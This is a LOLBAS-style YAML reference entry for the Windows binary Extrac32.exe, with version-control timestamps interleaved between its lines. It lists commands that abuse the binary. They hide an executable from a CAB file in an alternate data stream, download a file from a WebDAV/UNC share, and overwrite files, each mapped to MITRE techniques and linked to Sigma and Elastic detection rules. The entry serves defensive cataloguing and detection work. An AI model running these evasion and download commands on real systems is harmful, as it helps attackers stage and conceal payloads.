2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Extrac32.exe
|
2022-09-11 05:26:10 +02:00
|
|
|
Description: Extract to ADS, copy or overwrite a file with Extrac32.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
|
2021-01-10 16:04:52 +01:00
|
|
|
Usecase: Extract data from cab file and hide it in an alternate data stream.
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.
|
2021-01-10 16:04:52 +01:00
|
|
|
Usecase: Extract data from cab file and hide it in an alternate data stream.
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Copy the source file to the destination file and overwrite it.
|
|
|
|
Usecase: Download file from UNC/WEBDav
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2020-08-15 00:05:16 +02:00
|
|
|
- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
|
2020-08-08 13:59:15 +02:00
|
|
|
Description: Command for copying calc.exe to another folder
|
|
|
|
Usecase: Copy file
|
|
|
|
Category: Copy
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\extrac32.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\extrac32.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Code:
|
2018-09-24 21:59:43 +02:00
|
|
|
Detection:
|
2022-09-11 07:07:18 +02:00
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/0f33cbc85bf4b23b8d8308bfcc8b21a9e5431ee7/rules/windows/process_creation/win_pc_lolbas_extrac32.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/0f33cbc85bf4b23b8d8308bfcc8b21a9e5431ee7/rules/windows/process_creation/win_pc_lolbas_extrac32_ads.yml
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
|
|
|
|
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
|
|
|
|
- Link: https://twitter.com/egre55/status/985994639202283520
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: egre55
|
|
|
|
Handle: '@egre55'
|
|
|
|
- Person: Oddvar Moe
|
|
|
|
Handle: '@oddvarmoe'
|
2020-08-15 00:13:16 +02:00
|
|
|
- Person: Hai Vaknin(Lux
|
|
|
|
Handle: '@VakninHai'
|
|
|
|
- Person: Tamir Yehuda
|
|
|
|
Handle: '@tim8288'
|